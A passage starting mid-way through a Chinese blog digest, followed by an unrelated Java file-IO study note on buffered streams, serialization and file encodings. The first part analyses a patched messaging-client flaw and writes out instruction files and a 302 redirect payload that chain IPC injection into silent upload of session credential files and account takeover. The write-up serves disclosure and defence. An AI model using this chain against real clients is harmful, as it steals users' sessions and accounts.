加密的 MTProto 授权凭据 └── D877F783D5D3EF8C/ └── maps # 账户存储数据的索引(目录名为固定的散列,所有客户端都一致) ``` 只要窃取这 3 个文件并放入一个全新的某社交软件 `tdata` 目录下启动客户端,即可直接无感登录受害者账户。 **5. 实战利用命令与 1-Click 攻击全链路** 由于单个指令文件的 `file:` 字段只能指定一个文件(多个 `file:` 仅最后一行生效),攻击者需在群里预先投放 3 个指令文件:`instructions1.txt`、`instructions2.txt`、`instructions3.txt`,分别指向 `tdata/key_datas`、`tdata/D877F783D5D3EF8Cs` 和 `tdata/D877F783D5D3EF8C/maps`。指令文件内容示例: ```text channel: 2001234567 file: tdata/key_datas caption: poc ``` 受害者进入群组后,客户端自动将这 3 个文件静默下载到 Downloads 目录。随后攻击者在群里发送一个看似正常的外部链接 `https://corvus.sec/rules`,受害者在客户端内点击后,系统调用默认浏览器打开。攻击者的服务器返回 HTTP 302 重定向: ```http GET /rules HTTP/1.1 Host: corvus.sec HTTP/1.1 302 Found Location: app://x?a=1;OPEN:interpret:../../../Downloads/某社交软件%20Desktop/instructions1.txt;OPEN:interpret:../../../Downloads/某社交软件%20Desktop/instructions2.txt;OPEN:interpret:../../../Downloads/某社交软件%20Desktop/instructions3.txt ``` 浏览器跟随重定向,唤起系统协议处理器,启动第二个客户端进程。该进程通过 Socket 将未转义的字符串推送给后台主进程,主进程按分号切分出 3 条 `OPEN:interpret:...` 指令并依次静默执行。3 个本地会话凭证文件瞬间被上传到攻击者控制的频道 `channel: 2001234567`。攻击者将这 3 个文件放入本地客户端的 `tdata` 目录,受害者账户即被完全接管。 **6. 漏洞修复与架构安全反思** 官方在 7.2.9 版本(commit `db3405699f`)中静默修复了该漏洞: - 彻底移除了内部私有协议 `interpret://` 和 `InterpretSendPath` 函数; - 对 Socket 传输的所有值进行百分号十六进制转义(Percent-Hex Encoding),从根本上避免分号破坏指令边界; - 增加了防御纵深:如果同一连接携带了 `OPEN:`,则丢弃 `CMD:` 指令;一旦检测到非本地 URL,直接丢弃本地文件路径操作。 这条经典漏洞链值得所有客户端和系统开发者深思: - **边缘特性组合成致命攻击链**:未转义的 IPC 分隔符(注入)、内部自动化遗留功能(无鉴权)、群组默认自动下载(文件确定性落盘)、默认无本地密码(加密形同虚设)——单独看任何一个都算不上严重漏洞,但串联在一起便形成了无交互的文件窃取与账户接管闭环。 - **永远不要信任“内部调用通道”**:内部发版脚本预设在受信任的构建环境中运行,开发者因此放弃了鉴权与输入校验。然而一旦暴露在外部可触及的攻击面上(协议唤醒、IPC),所谓的内部通道便会沦为攻击者的提权跳板。 - 官方在 7.2.9 的更新日志中对该漏洞只字未提,仅写了渲染修复——太阳底下没有新鲜事。对用户而言,在即时通讯软件中开启“每次下载都询问保存位置”以及设置本地应用密码,往往是官方修补之前最关键的自我防御手段。 ## Tips 不知道大家在使用 Mac 的时候有没有感觉到,管理默认应用比较头疼,前一段时间发现了一个很好用的命令行工具 duti ,但是需要记一些命令不是很方便,所以就让 AI 写了一个 sh 方便切换,脚本全部内容有点多,我就放到代码小抄里面了:https://www.codecopy.cn/post/15cpts > 什么是 duti?macOS 底层有一个专门管理默认应用关联与 Uniform Type Identifiers (UTI) 的命令行工具 `duti`: > > ``` > brew install duti > ``` 效果图:  ## Share 文章:https://wiki.cateat.fish/art:computers_cannot_make_decisions 核心观点:**计算机程序根本无法做决策,任何把责任推给大模型或算法的做法,本质上都是「决策洗白」。** 媒体头条中的“主语置换” 作者列举了一系列新闻标题: - Anthropic 提交未破谋杀案的假线索 - OpenAI 对 RubyGems 发动未公开攻击 - OpenAI 黑入澳大利亚政府网站 - Anthropic 伪造身份进行入侵尝试 - Anthropic 在 IPO 招股书中警告“对人类存在生存危机” 这些标题往往把主语写成“AI 做出了某种行为”,但必须看清本质:**计算机不会做决策,做决策的永远是背后的人与企业。** 那么什么是「决策洗白」? 任何试图将不良后果归咎于 LLM 的做法,都是在进行责任洗白: - AI 厂商完全有能力限制和规范模型的行为,但他们选择放任,以此降低成本、追求速度或博取眼球; - 当出现安全事故或社会影响时,便将责任推给“模型失控”或虚无缥缈的“技术自主性”; - 这种行为之所以缺乏立法监管与惩处,很大程度上是因为监管被认为会阻碍经济利益。 技术本身不能成为逃避责任的「挡箭牌」。在 LLM 时代,我们不应接受把系统行为人格化并为其推卸责任的叙事——每一行生成的恶意代码、每一个被越狱滥用的漏洞,追根究底都是人在做决策、人在承担责任。
Java学习笔记-文件IO
## 八、文件 IO ### 基础介绍 程序运行时的数据都在**内存**里,程序一关数据就消失。文件 IO(Input/Output)就是把数据**写到硬盘文件**里持久保存,或者从硬盘文件**读回内存**。 **两大流体系:** | 体系 | 处理单位 | 适合场景 | 类名 | | --- | --- | --- | --- | | **字节流** | byte(字节) | 二进制数据(图片、视频、对象序列化) | `InputStream` / `OutputStream` | | **字符流** | char(字符) | 文本数据(txt、csv、json) | `Reader` / `Writer` | > **报价系统用字符流**:报价单数据是文本,用 `FileReader/FileWriter` 或 `BufferedReader/BufferedWriter`。 **带缓冲 vs 不带缓冲:** | 类型 | 特点 | 比喻 | | --- | --- | --- | | 不带缓冲(FileReader/FileWriter) | 读一个字节写一个字节,频繁访问硬盘 | 用勺子一勺勺舀水 | | 带缓冲(BufferedReader/BufferedWriter) | 先装满缓冲区,再一次性读写 | 用桶打一桶水再倒 | > **always 用缓冲流**,效率差几十倍。 **为什么构造器一层包一层?(装饰器模式)** ```java new BufferedWriter( // 第3层:加缓冲(效率) new OutputStreamWriter( // 第2层:指定编码(字符 → 字节) new FileOutputStream(file), // 第1层:连接文件(字节 → 硬盘) "UTF-8" ) ) ``` | 层级 | 类 | 作用 | |------|-----|------| | 最底层 | `FileOutputStream` | 直接连硬盘,处理原始字节 | | 中间层 | `OutputStreamWriter` | 把字符按指定编码转成字节 | | 最外层 | `BufferedWriter` | 加缓冲区,减少硬盘访问次数 | > 每一层都是给上一层"加功能",像俄罗斯套娃。可以只包一层,也可以包多层。 --- ### 核心方法表 #### File 类(文件/目录操作) | 方法 | 作用 | | --- | --- | | `File(String path)` | 创建文件对象(不创建真实文件) | | `exists()` | 判断文件/目录是否存在 | | `isFile()` | 判断是否是文件 | | `isDirectory()` | 判断是否是目录 | | `createNewFile()` | 创建新文件 | | `mkdir()` | 创建目录 | | `mkdirs()` | 创建多级目录 | | `delete()` | 删除文件/空目录 | | `getAbsolutePath()` | 获取绝对路径 | | `listFiles()` | 列出目录下所有子文件 | #### BufferedWriter(字符输出流,写文件) | 方法 | 作用 | | --- | --- | | `BufferedWriter(Writer out)` | 构造器,包装一个 Writer | | `write(String str)` | 写入字符串 | | `newLine()` | 写入换行符(跨平台) | | `flush()` | 刷新缓冲区,把数据刷到硬盘 | | `close()` | 关闭流 | #### BufferedReader(字符输入流,读文件) | 方法 | 作用 | | --- | --- | | `BufferedReader(Reader in)` | 构造器,包装一个 Reader | | `readLine()` | 读取一行,返回 String(读到末尾返回 null) | | `close()` | 关闭流 | #### ObjectOutputStream(对象序列化输出) | 方法 | 作用 | | --- | --- | | `ObjectOutputStream(OutputStream out)` | 构造器 | | `writeObject(Object obj)` | 写入对象 | | `close()` | 关闭流 | #### ObjectInputStream(对象序列化输入) | 方法 | 作用 | | --- | --- | | `ObjectInputStream(InputStream in)` | 构造器 | | `readObject()` | 读取对象(返回 Object,需强转) | | `close()` | 关闭流 | --- ### 经典代码 **1. 写文本文件(BufferedWriter)** ```java // 目标:把报价单列表写入 data/quotations.txt File file = new File("data/quotations.txt"); file.getParentFile().mkdirs(); // 如果 data 目录不存在,自动创建 // try-with-resources:自动关闭流,不用手动 close() try (BufferedWriter writer = new BufferedWriter(new FileWriter(file))) { for (SmartHomeQuotation q : quotations) { // 把一条报价单写成一行:编号,项目名称,金额 String line = q.getQuotationNo() + "," + q.getProjectName() + "," + q.calcOriginalTotalAmount(); writer.write(line); writer.newLine(); // 换行 } writer.flush(); // 刷新缓冲区 System.out.println("写入完成,共 " + quotations.size() + " 条"); } catch (IOException e) { e.printStackTrace(); } ``` > **double 类型写入 CSV 的陷阱**:`calcOriginalTotalAmount()` 返回 `1739723.0`,但 Excel 打开时可能隐藏 `.0`(Excel 把纯数字识别为数值型,自动省略末尾的 .0)。 > > **解决方法:用 `String.format` 强制保留两位小数(财务规范)** > ```java > // 保留两位小数:1739723.00 > String amountStr = String.format("%.2f", q.calcOriginalTotalAmount()); > > // 保留两位小数 + 千分位:1,739,723.00 > String amountStr = String.format("%,.2f", q.calcOriginalTotalAmount()); > > // 写入 > writer.write(q.getQuotationNo() + "," + q.getProjectName() + "," + amountStr); > ``` **2. 读文本文件(BufferedReader)** ```java File file = new File("data/quotations.txt"); if (!file.exists()) { System.out.println("文件不存在"); return; } try (BufferedReader reader = new BufferedReader(new FileReader(file))) { String line; while ((line = reader.readLine()) != null) { // 逐行读取,null 表示文件末尾 // 解析一行:Q-SM-001,赵女士全屋智能,54300.0 String[] parts = line.split(","); String quotationNo = parts[0]; String projectName = parts[1]; double amount = Double.parseDouble(parts[2]); System.out.println("编号:" + quotationNo + ",项目:" + projectName + ",金额:" + amount); } } catch (IOException e) { e.printStackTrace(); } ``` **3. 对象序列化(ObjectOutputStream)** ```java // 把报价单对象完整保存到文件(包括对象里的所有字段) try (ObjectOutputStream oos = new ObjectOutputStream( new FileOutputStream("data/quotation.obj"))) { oos.writeObject(quotation); // 写入对象 System.out.println("对象已序列化保存"); } catch (IOException e) { e.printStackTrace(); } ``` **4. 对象反序列化(ObjectInputStream)** ```java try (ObjectInputStream ois = new ObjectInputStream( new FileInputStream("data/quotation.obj"))) { SmartHomeQuotation q = (SmartHomeQuotation) ois.readObject(); // 强转 System.out.println(q.getSummaryLine()); } catch (IOException | ClassNotFoundException e) { e.printStackTrace(); } ``` **5. 追加模式写文件(不覆盖原有内容)** ```java // FileWriter 第二个参数 true = 追加模式 try (BufferedWriter writer = new BufferedWriter( new FileWriter("data/log.txt", true))) { writer.write("新的日志记录"); writer.newLine(); } catch (IOException e) { e.printStackTrace(); } ``` --- ### 对象序列化详解 **什么是序列化?** 程序运行时,对象在内存里。程序一关,内存清空,对象就消失了。序列化就是把内存中的对象**变成一串字节**,可以存到硬盘文件,也可以通过网络发送给别人。 ```java // 序列化:对象 → 文件(冻住) ObjectOutputStream.writeObject(q); // 反序列化:文件 → 对象(解冻) SmartHomeQuotation q = (SmartHomeQuotation) ObjectInputStream.readObject(); ``` **为什么要实现 `Serializable` 接口?** `Serializable` 是一个**标记接口**(里面没有任何方法)。它的作用就是告诉 JVM: > "这个类里的数据可以安全地转成字节流,你放心序列化。" 如果没有实现: ```java public class SmartHomeQuotation { } // ❌ 没实现 Serializable oos.writeObject(q); // ❌ 抛异常:NotSerializableException ``` 实现后: ```java public class SmartHomeQuotation implements Serializable { // ✅ private static final long serialVersionUID = 1L; } ``` **哪些类已经实现了 `Serializable`?** JDK 自带的常用类基本都实现了: | 类 | 是否已实现 | |------|-----------| | `String` | ✅ | | `Integer`、`Double`、`Long` 等包装类 | ✅ | | `ArrayList` | ✅ | | `HashMap` | ✅ | | `Date` | ✅ | **你的自定义类必须自己加上:** ```java public class SmartHomeQuotation implements Serializable { private static final long serialVersionUID = 1L; } public class Worker implements Serializable { private static final long serialVersionUID = 1L; } ``` > **重要**:如果 `SmartHomeQuotation` 里引用了 `Person`(客户),那么 `Person` 及其所有子类(`Customer`、`Company`)**也必须**实现 `Serializable`,否则序列化时会报错。 **`serialVersionUID` 的作用:** 想象这是对象的"版本号": - 你今天存了一个 `SmartHomeQuotation`(版本1) - 明天你给类加了 `remark` 字段(变成版本2) - 再用版本2去读版本1的文件 → 类结构变了,JVM 不知道怎么办,抛异常 加了 `serialVersionUID = 1L`,告诉 JVM:"版本兼容,能读就读,不能读的字段忽略。" **完整示例:序列化 + 反序列化** ```java // 第1步:所有相关实体类必须实现 Serializable public class SmartHomeQuotation implements Serializable { private static final long serialVersionUID = 1L; // ... 字段 ... } public abstract class Person implements Serializable { private static final long serialVersionUID = 1L; } public class Customer extends Person implements Serializable { private static final long serialVersionUID = 1L; } public class Company extends Person implements Serializable { private static final long serialVersionUID = 1L; } // 第2步:序列化写入 public static void serialize(SmartHomeQuotation q, File file) { try (ObjectOutputStream oos = new ObjectOutputStream( new FileOutputStream(file))) { oos.writeObject(q); System.out.println("序列化完成:" + file.getAbsolutePath()); } catch (IOException e) { e.printStackTrace(); } } // 第3步:反序列化读取 public static SmartHomeQuotation deserialize(File file) { try (ObjectInputStream ois = new ObjectInputStream( new FileInputStream(file))) { SmartHomeQuotation q = (SmartHomeQuotation) ois.readObject(); System.out.println("反序列化成功:" + q.getQuotationNo()); return q; } catch (IOException | ClassNotFoundException e) { e.printStackTrace(); return null; } } ``` > **关键**:`SmartHomeQuotation` 引用了 `Person`(客户/商家),`Person` 及其子类(`Customer`、`Company`)**都必须**实现 `Serializable`,否则 `writeObject()` 抛 `NotSerializableException`。 --- ### 文本文件 vs 对象序列化:怎么选? 两种都能存数据,但适用场景完全不同: | 对比 | 文本文件(CSV/txt) | 对象序列化(.obj) | |------|-------------------|------------------| | **存什么** | 纯文本字符串 | 完整的对象(字段+类型+对象关系) | | **人能看懂吗** | ✅ 记事本/Excel 能打开 | ❌ 二进制乱码 | | **别的程序能读吗** | ✅ Excel、Python 都能读 | ❌ 只有 Java 能读 | | **存对象方不方便** | ❌ 手动拼字符串,字段多了很麻烦 | ✅ 一行 `writeObject(q)` 搞定 | | **嵌套对象能存吗** | ❌ 自己处理引用关系 | ✅ 自动处理对象树 | | **版本兼容性** | ✅ 加字段不影响旧文件 | ❌ 类结构变了可能读不了 | | **文件大小** | 小(纯文本) | 大(包含类信息) | **什么时候用文本文件?** ```java // 1. 数据要给别的程序用(Excel、Python、别的系统) // 2. 人需要直接看内容(日志、配置) // 3. 数据格式简单,就几个字段 BufferedWriter.write("Q-SM-001,赵女士,50000"); // Excel 能打开 ``` **什么时候用序列化?** ```java // 1. 临时缓存对象,程序重启后还原 // 2. 对象关系复杂(报价单→客户→地址,嵌套多层) // 3. 网络传输对象(A电脑的对象传给B电脑) oos.writeObject(quotation); // 整个对象树一键保存 ``` **CSV 的陷阱:字段中包含逗号怎么办?** ```java // 如果 projectName = "赵女士,全屋智能" // 直接拼接:Q-SM-001,赵女士,全屋智能,50000 // split(",") 后变成 4 段,解析错乱! // 正确做法:字段含逗号时用双引号包裹 // "Q-SM-001","赵女士,全屋智能","50000" // 实际项目不要自己拼 CSV,用第三方库: // Apache Commons CSV、OpenCSV、FastCSV ``` **项目实际选择:** | 需求 | 推荐方式 | 理由 | |------|---------|------| | 报价单导出给财务 | **文本文件 CSV** | 财务用 Excel 打开 | | 程序缓存,重启还原 | **序列化** | 一键存取,不用拼字符串 | | 配置文件 | **文本文件 properties** | 人能改 | | 日志记录 | **文本文件 txt** | 人能看 | > **一句话:** 要**给人看**或**给别的程序用** → 文本文件;要**快速存取 Java 对象** → 序列化。 --- ### 注意点 1. **try-with-resources 自动关闭流** ```java try (BufferedWriter writer = new BufferedWriter(new FileWriter(file))) { // 写操作... } // ← 大括号结束自动调用 writer.close() ``` > 实现了 `AutoCloseable` 接口的类都可以这样用。 **多个资源时的关闭顺序**: ```java // ✅ fos 和 writer 都必须放进 try(),否则 fos 没人关 // 关闭顺序:先开后关(writer 先关,再关 fos) try (FileOutputStream fos = new FileOutputStream(file); // 第1个打开 BufferedWriter writer = new BufferedWriter( // 第2个打开 new OutputStreamWriter(fos, "UTF-8"))) { fos.write(bom); // 写 BOM writer.write("内容"); // 写内容 } // ← 先关 writer,再关 fos(栈顺序:先开后关) ``` **fos 不放 try() 的后果**: ```java // ❌ 错误:fos 在 try 外面 FileOutputStream fos = new FileOutputStream(file); // 打开文件 fos.write(bom); // 写 BOM try (BufferedWriter writer = new BufferedWriter( new OutputStreamWriter(fos, "UTF-8"))) { writer.write("内容"); } // ← writer 关了,但 fos 还开着! // ❌ fos 没人关 → 内存泄漏、文件被锁、数据丢失 ``` 2. **flush 与 close 的关系** | 操作 | 作用 | 什么时候需要 | |------|------|-------------| | `flush()` | 把缓冲区数据刷到硬盘 | 需要立即看到文件内容时(如日志实时写入) | | `close()` | 先 flush,再关闭流 | 用完流必须调,try-with-resources 自动处理 | ```java // try-with-resources 的 close() 会自动 flush // 所以大部分情况下不需要手动 flush try (BufferedWriter writer = new BufferedWriter(new FileWriter(file))) { writer.write("内容"); // 不需要手动 flush,close 时会自动刷 } // 只有需要立即落盘时才手动 flush(如实时日志) writer.write("异常日志"); writer.flush(); // 立即写到硬盘,防止崩溃丢失 ``` 3. **流是单向的**:要么读,要么写,不能同时读写。 --- ### 文件编码三种写法对比 **核心问题**:Java 写的文本文件,Excel 打开可能乱码。 **原因**:Java 默认 UTF-8,Excel 默认 GBK,两边编码不一致。 **三种解决方案对比:** | 方案 | 代码 | Excel 双击打开 | 跨平台 | 实际场景 | |------|------|--------------|--------|---------| | **UTF-8**(不加 BOM)| `new OutputStreamWriter(new FileOutputStream(file), "UTF-8")` | ❌ 中文乱码 | ✅ Linux/Mac/Windows 都正常 | 纯后端系统,人不看文件 | | **GBK** | `new OutputStreamWriter(new FileOutputStream(file), "GBK")` 或 `new FileWriter(file)` | ✅ 正常显示 | ❌ Linux/Mac 打开乱码 | 国内内部系统,只给 Windows Excel 用 | | **UTF-8 with BOM** ✅ | 先写 BOM 头,再用 UTF-8 写内容 | ✅ 正常显示 | ✅ 全平台正常 | **生产环境标准做法** | **写法1:UTF-8(不加 BOM)** ```java try (BufferedWriter writer = new BufferedWriter( new OutputStreamWriter(new FileOutputStream(file), "UTF-8"))) { writer.write("编号,项目名称,原始金额,客户姓名"); writer.newLine(); } ``` - Excel 双击打开:❌ 乱码(Excel 不知道这是 UTF-8,用 GBK 解码) - 需要手动操作:Excel → 数据 → 从文本/CSV → 选择文件 → 编码选 UTF-8 **写法2:GBK** ```java try (BufferedWriter writer = new BufferedWriter( new OutputStreamWriter(new FileOutputStream(file), "GBK"))) { // 或直接用 new FileWriter(file),Windows 默认 GBK writer.write("编号,项目名称,原始金额,客户姓名"); writer.newLine(); } ``` - Excel 双击打开:✅ 正常 - 缺点:Linux/Mac 打开乱码;不支持多语言混合(中英文+日文+韩文) **写法3:UTF-8 with BOM(生产标准)** ```java FileOutputStream fos = new FileOutputStream(file); // 先写 UTF-8 BOM 头(3个字节),告诉 Excel "这是 UTF-8" fos.write(new byte[]{(byte)0xEF, (byte)0xBB, (byte)0xBF}); try (BufferedWriter writer = new BufferedWriter( new OutputStreamWriter(fos, "UTF-8"))) { writer.write("编号,项目名称,原始金额,客户姓名"); writer.newLine(); // ... 遍历写数据 } ``` - Excel 双击打开:✅ 正常(看到 BOM 自动用 UTF-8 解码) - Linux/Mac/Windows:✅ 全平台正常 - 缺点:文件开头多 3 个字节(BOM),对程序读取无影响 **BOM 是什么?** BOM(Byte Order Mark)是文件开头的特殊字节序列,像"编码身份证": - UTF-8 BOM:`EF BB BF`(3 个字节) - Excel 看到 BOM 就知道"这是 UTF-8 文件,我用 UTF-8 解码" - 没有 BOM,Excel 默认用系统编码(Windows = GBK),所以乱码 **FileWriter/FileReader 的编码真相:** ```java // FileWriter 内部其实是这样(用系统默认编码) new FileWriter(file) // ≈ new OutputStreamWriter(new FileOutputStream(file), "系统默认编码") // FileReader 内部其实是这样(用系统默认编码) new FileReader(file) // ≈ new InputStreamReader(new FileInputStream(file), "系统默认编码") ``` 所以 `FileWriter` 和 `FileReader` 确实是配对的——**都用系统默认编码**。 **但问题是:系统默认编码会变。** | 环境 | 系统默认编码 | |------|------------| | Windows 中文 | GBK | | Mac | UTF-8 | | Linux | UTF-8 | 你今天用 `FileWriter`(GBK)写的文件,明天在 Mac 上用 `FileReader`(UTF-8)读 → **乱码**。 **实际项目中的正确做法:** **始终显式指定编码,不用 FileWriter/FileReader。** ```java // 写入 GBK new OutputStreamWriter(new FileOutputStream(file), "GBK") // 读取 GBK new InputStreamReader(new FileInputStream(file), "GBK") // 写入 UTF-8 new OutputStreamWriter(new FileOutputStream(file), "UTF-8") // 读取 UTF-8 new InputStreamReader(new FileInputStream(file), "UTF-8") ``` > **核心原则:写入用什么编码,读取就必须用什么编码。** **读取时的编码处理:** ```java // 读取 GBK 文件 BufferedReader reader = new BufferedReader( new InputStreamReader(new FileInputStream(file), "GBK")); // 读取 UTF-8 文件(带不带 BOM 都可以) BufferedReader reader = new BufferedReader( new InputStreamReader(new FileInputStream(file), "UTF-8")); // 注意:UTF-8 with BOM 的文件,读到的第一行开头会有 \uFEFF 字符 // 如果用 readLine() 读表头,需要去掉它 String header = reader.readLine(); if (header.startsWith("\uFEFF")) { header = header.substring(1); // 去掉 BOM 字符 } ``` **实验验证结果:** | 写法 | 编码 | Excel 双击打开 | 原因 | |------|------|--------------|------| | UTF-8 无 BOM | UTF-8 | ❌ 需要先新建空白文件再导入 | Excel 不知道编码,默认用 GBK 解码,乱码 | | GBK | GBK | ✅ 直接打开 | Windows 系统默认编码 | | UTF-8 with BOM | UTF-8 + BOM 头 | ✅ 直接打开 | Excel 看到 BOM 头,自动用 UTF-8 解码 | **一句话结论:** > 实际项目一律用 **UTF-8 with BOM**,兼顾跨平台和 Excel 兼容性。 --- ### 自动检测文件编码(生产环境做法) **用户不懂编码,好的程序应该自动检测。** 不能让用户手动选择编码。 **检测流程:** ``` 用户上传文件 ↓ 检测前3个字节(BOM) ↓ 有 BOM? ──→ 直接知道编码(UTF-8 / UTF-16) ↓ 没有 用第三方库分析内容 ↓ 返回猜测的编码(GBK / UTF-8 / Big5 等) ↓ 用检测到的编码读取文件 ``` **第一步:检测 BOM(不需要第三方库)** ```java public static String detectByBOM(File file) throws IOException { try (FileInputStream fis = new FileInputStream(file)) { byte[] bom = new byte[3]; int read = fis.read(bom); // UTF-8 BOM:EF BB BF if (read >= 3 && bom[0] == (byte) 0xEF && bom[1] == (byte) 0xBB && bom[2] == (byte) 0xBF) { return "UTF-8"; } // UTF-16 BE:FE FF if (read >= 2 && bom[0] == (byte) 0xFE && bom[1] == (byte) 0xFF) { return "UTF-16BE"; } // UTF-16 LE:FF FE if (read >= 2 && bom[0] == (byte) 0xFF && bom[1] == (byte) 0xFE) { return "UTF-16LE"; } } return null; // 没有 BOM } ``` **第二步:没有 BOM 时,用 juniversalchardet 猜测** ```java // Maven 依赖:com.googlecode.juniversalchardet:juniversalchardet:1.0.3 public static String detectByContent(File file) throws IOException { byte[] bytes = Files.readAllBytes(file.toPath()); UniversalDetector detector = new UniversalDetector(null); detector.handleData(bytes, 0, bytes.length); detector.dataEnd(); String encoding = detector.getDetectedCharset(); // "UTF-8" / "GBK" / "GB2312" detector.reset(); return encoding != null ? encoding : "UTF-8"; // 猜不出默认 UTF-8 } ``` **完整检测 + 读取:** ```java public static void readWithAutoDetect(File file) throws IOException { // 1. 先检测 BOM String encoding = detectByBOM(file); // 2. 没有 BOM,用内容猜测 if (encoding == null) { encoding = detectByContent(file); } System.out.println("检测到编码:" + encoding); // 3. 用检测到的编码读取 try (BufferedReader reader = new BufferedReader( new InputStreamReader(new FileInputStream(file), encoding))) { String line; while ((line = reader.readLine()) != null) { System.out.println(line); } } } ``` **实际项目中的三种做法对比:** | 做法 | 场景 | 是否专业 | |------|------|---------| | 让用户选择编码 | 简单内部工具 | ❌ 用户不懂编码 | | 约定固定编码 | 项目内部系统,统一 UTF-8 | ✅ 但无法处理外部文件 | | **自动检测编码** | 用户上传文件(导入 Excel/CSV) | ✅ **生产标准** | > **一句话**:好的程序不应该问用户"这是什么编码",而应该自己检测出来。 --- ### 常见坑 1. **忘记 flush/close,数据没写进硬盘** ```java BufferedWriter writer = new BufferedWriter(new FileWriter(file)); writer.write("内容"); // ❌ 没 flush 也没 close,数据还在缓冲区,文件可能是空的! // ✅ try-with-resources 自动解决 try (BufferedWriter writer = ...) { ... } ``` 2. **readLine() 返回 null 表示文件结束,不是空字符串** ```java while ((line = reader.readLine()) != null) { ... } // ✅ while ((line = reader.readLine()).isEmpty()) { ... } // ❌ 末尾抛 NullPointerException ``` 3. **相对路径 vs 绝对路径** ```java // 相对路径:相对于程序运行的"工作目录" File file = new File("data/quotations.txt"); // 工作目录通常是项目根目录,所以文件在 项目根目录/data/quotations.txt // 绝对路径:完整路径 File file = new File("C:/JavaProject/zx-plat-practice/data/quotations.txt"); ``` > **怎么知道工作目录在哪?** > ```java > System.out.println(System.getProperty("user.dir")); > // 输出:C:\JavaProject\zx-plat-practice > ``` 4. **文件路径分隔符**:Windows 用 `\`,Linux/Mac 用 `/`。建议用 `File.separator` 或直接用 `/`(Java 会自动转)。 ```java File file = new File("data/quotations.txt"); // ✅ 推荐,跨平台 File file = new File("data\\quotations.txt"); // ❌ Windows 专用 ``` 4. **对象序列化必须实现 `Serializable` 接口** ```java public class SmartHomeQuotation implements Serializable { // ✅ 必须! private static final long serialVersionUID = 1L; // 建议加上 } ``` 5. **反序列化时类结构变了会抛异常**:给类加了字段,之前序列化的文件就读不了了。`serialVersionUID` 可以缓解。 6. **反序列化时类找不到会抛 `ClassNotFoundException`**: - 序列化文件存的是类的完整包名(`cn.com.d99714.smart.entity.SmartHomeQuotation`) - 如果反序列化时类路径变了(比如包名改了、类删了),JVM 找不到类,抛异常 - 或者 jar 包缺失(比如把文件从 A 项目拷到 B 项目,B 项目没有这个类) ```java try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file))) { SmartHomeQuotation q = (SmartHomeQuotation) ois.readObject(); } catch (ClassNotFoundException e) { // 类路径变了或类缺失 System.out.println("找不到对应的类:" + e.getMessage()); } ``` --- ### 受检异常(Checked Exception)与运行时异常 **为什么 `write()`、`readLine()` 会强制要求处理异常?** Java 把异常分两类: | 类型 | 例子 | 编译器要求 | 为什么这样设计 | |------|------|-----------|--------------| | **受检异常** | `IOException`、`SQLException`、`FileNotFoundException` | **强制处理!** 不处理编译报错 | 这些风险可以预见,写代码时就必须想好出错怎么办 | | **运行时异常** | `NullPointerException`、`IndexOutOfBoundsException`、`ArithmeticException` | 不强制,运行时才可能报错 | 通常是代码逻辑错误,理论上可以避免 | **`IOException` 为什么是受检异常?** 因为读写文件很容易出错: - 磁盘满了 - 文件被别的程序占用 - 权限不够 - 硬盘坏了 Java 设计者认为:"这些风险可以预见,你必须在写代码时就考虑好出错了怎么办。" **处理受检异常的两种方式:** **方式1:try-catch 自己捕获** ```java static void writeCSV(BufferedWriter writer) { try { writer.write("内容"); writer.newLine(); } catch (IOException e) { e.printStackTrace(); // 自己处理 } } ``` **方式2:throws 抛给调用方处理** ```java static void writeCSV(BufferedWriter writer) throws IOException { writer.write("内容"); writer.newLine(); // 如果出错,抛给调用我的人处理 } // 调用方统一捕获 public static void main(String[] args) { try { writeCSV(writer); } catch (IOException e) { e.printStackTrace(); } } ``` **什么时候用哪种?** | 场景 | 推荐方式 | 理由 | |------|---------|------| | 工具类方法(被多处调用) | `throws` | 调用方根据自身场景决定怎么处理 | | 最上层方法(main、Controller) | `try-catch` | 最后一道防线,必须处理 | | 需要回滚资源(数据库事务) | `try-catch-finally` | 出错也要释放资源 | > **一句话**:受检异常是 Java 强制你"面对风险"。底层方法用 `throws` 往上抛,顶层方法用 `try-catch` 兜底。 --- ### IDEA 查 API 文档 **常用快捷键:** | 操作 | IDEA 快捷键 | 效果 | |------|------------|------| | **查看文档** | 鼠标放类/方法上,按 `Ctrl + Q` | 弹出中英文文档说明 | | **跳转到源码** | `Ctrl + B` 或 `Ctrl + 点击` | 跳转到类的源码实现 | | **查看继承结构** | `Ctrl + H` | 弹出类的继承树 | | **查看方法列表** | `Ctrl + F12` | 弹出当前类的所有方法 | | **全局搜索类** | 双击 `Shift` | 搜索任意类名 | | **查看参数提示** | `Ctrl + P` | 方法调用时看参数类型 | **查文档的标准流程(以 `Serializable` 为例):** ``` 第1步:光标放在类名上 public class SmartHomeQuotation implements Serializable { ↑ 光标放这里 第2步:按 Ctrl + B 跳转源码 → 跳转到 java.io.Serializable → 看到内容:public interface Serializable { } → 结论:标记接口,无方法,告诉 JVM "这个类可以序列化" 第3步:按 Ctrl + Q 查看文档 → 弹出英文文档 → 看到核心说明: "Serializability of a class is enabled by the class implementing the java.io.Serializable interface." → 结论:实现接口即可启用序列化能力 ``` **查 `ObjectOutputStream.writeObject` 示例:** ``` 第1步:确定类名 → ObjectOutputStream 第2步:Ctrl + B 跳转到类 → 看类描述: "An ObjectOutputStream writes primitive data types and graphs of Java objects to an OutputStream" 第3步:Ctrl + F12 看方法列表 → 找到 writeObject(Object obj) 第4步:点击方法看详细说明 → 参数、返回值、抛出的异常 第5步:回到自己的代码,知道怎么用了 ``` > **一句话**:IDEA 里 `Ctrl + B` 看源码,`Ctrl + Q` 看文档。源码是最好的文档。 --- ### 号外 - **NIO(New IO)**:JDK 1.4 引入的"新 IO",`Path`、`Files`、`Channel` 等,性能更高,但 API 更复杂。初学先掌握传统 IO。 - **Properties 类**:专门读写 `.properties` 配置文件(键值对格式)。 ```java // 读取配置文件 Properties props = new Properties(); try (FileInputStream fis = new FileInputStream("config.properties")) { props.load(fis); } String dbUrl = props.getProperty("database.url"); String dbUser = props.getProperty("database.username"); // config.properties 内容: // database.url=jdbc:mysql://localhost:3306/smarthome // database.username=root ``` - **CSV 格式**:逗号分隔值,Excel 可以直接打开,是数据交换的通用格式。 - **`File.separator` 跨平台写法**: ```java // 拼接路径时用这个常量,自动适配操作系统 String path = "data" + File.separator + "quotations.txt"; // Windows → "data\\quotations.txt" // Mac/Linux → "data/quotations.txt" ```
今天学习了文件IO和对象序列化
